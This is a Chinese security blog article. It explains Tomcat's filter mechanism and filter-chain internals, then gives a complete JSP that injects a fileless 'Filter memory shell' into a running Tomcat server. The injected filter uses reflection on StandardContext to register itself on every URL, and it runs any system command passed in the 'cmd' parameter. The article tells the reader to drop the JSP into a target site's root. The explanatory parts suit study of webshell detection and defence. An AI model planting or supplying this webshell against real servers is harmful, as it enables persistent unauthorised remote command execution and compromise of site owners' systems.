Tomcat处理请求和响应流程:
-
filter说明
filter也称之为过滤器,是对Servlet技术的一个强补充,其主要功能是在HttpServletRequest到达 Servlet 之前,拦截客户的HttpServletRequest,根据需要检查HttpServletRequest,也可以修改HttpServletRequest头和数据;在HttpServletResponse到达客户端之前,拦截HttpServletResponse ,根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。
-
filter链说明
当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。
-
基本工作原理
1)Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。
2)当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。
3)当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。
4)但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。
5)只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。
6)如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。
-
filter的生命周期
与servlet一样,Filter的创建和销毁也由web容器负责。web应用程序启动时,web服务器将创建Filter的实例对象,并调用其init方法,读取web.xml配置,完成对象的初始化功能,从而为后续的用户请求做好拦截的准备工作(filter对象只会创建一次,init方法也只会执行一次)。开发人员通过init方法的参数,可获得代表当前filter配置信息的FilterConfig对象。Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。在Web容器卸载Filter对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。
1. Filter测试实例
配置web.xml文件,创建filter过滤器:
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!-- 创建过滤器 -->
<filter>
<filter-name>enfilter</filter-name>
<filter-class>com.zack.testFilter</filter-class>
</filter>
<!-- 运用过滤器到任意页面 -->
<filter-mapping>
<filter-name>enfilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
</web-app>
创建测试类testFilter.java文件:
package com.zack;
import javax.servlet.*;
import java.io.IOException;
public class testFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Init Finish!");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
System.out.println("Filter Start!");
}
public void destroy() {
System.out.println("Filter Stop!");
}
}
运行项目,访问任意页面后看到控制台输出:
2. Filter流程分析
filter调用流程图:
通过StandardWrapperValue这个方法最后得到了FilterChain,其中Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml从而获取到filter,然后ApplicationFilterFactory会对filter的名称和待拦截的url放到FilterMap中去,然后进行一次url匹配,然后将获取的FilterChain返回到StandardWrapperValue中去,最后在StandardWrapperValue中会调用chain.doFilter方法,从而实现执行对应的filter调用。
(1)在StandardWrapperValue类的invoke()方法中,在97行看到调用ApplicationFilterFactory类的createFilterChain()方法
(2)跟进createFilterChain()方法来到ApplicationFilterFactory类,在该方法的32和33行创建context对象然后调用对象的findFilterMaps()方法将所有filter存入filterMaps中,第一个为web.xml文件里自己定义第二个为tomcat自带,往下走经过一个if判断后将filterConfig传入addFilter()方法
(3)跟进addFilter()方法来到ApplicationFilterChain类,看到for循环是用来去除重复的filter,处理后在162行将filterConfig加入到filters中
(4)回到StandardWrapperValve类的invoke()方法,看到带着最终构成的filter被doFilter()方法调用
(5)跟进doFilter()方法来到ApplicationFilterChain类,看到被internalDoFilter()调用,再跟进internalDoFilter()方法看到调用了filter.doFilter()方法,该方法包含Filter对象类型的doFilter方法,即可以执行自己构造的filter对象的doFilter方法
(6)继续跟进就会来到自己构造的filter测试类文件中,从而调用自己自定义过滤器中的doFilter()方法,从而触发了相应的代码
3. Filter内存马实践
在目标网站根目录创建demo.jsp内存马生成文件,生成的内存马无需配置web.xml文件,但缺点是不能回显命令执行结果。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.core.ApplicationContextFacade" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="java.io.IOException" %>
<%
//反射创建servletContext
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextFacadeContext.setAccessible(true);
//反射创建applicationContext
ApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);
Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");
applicationContextContext.setAccessible(true);
//反射创建standardContext
StandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);
//创建filterConfigs
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
HashMap hashMap = (HashMap) filterConfigs.get(standardContext);
String filterName = "Filter";
if (hashMap.get(filterName)==null){
Filter filter = new Filter() {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletRequest.setCharacterEncoding("utf-8");
servletResponse.setCharacterEncoding("utf-8");
servletResponse.setContentType("text/html;charset=UTF-8");
filterChain.doFilter(servletRequest,servletResponse);
Runtime.getRuntime().exec(servletRequest.getParameter("cmd"));
}
public void destroy() {
}
};
//构造filterDef对象
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
//构造filterMap对象
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(filterName);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
//构造filterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
//将filterConfig添加到filterConfigs中,即可完成注入
hashMap.put(filterName,applicationFilterConfig);
response.getWriter().println("Filter shell successfully!");
}
%>
访问内存马生成文件页面:
这时访问任意页面都可以调用Filter内存马执行系统命令:
原文始发于微信公众号(ZackSecurity):【Java内存马】Tomcat之Filter内存马分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论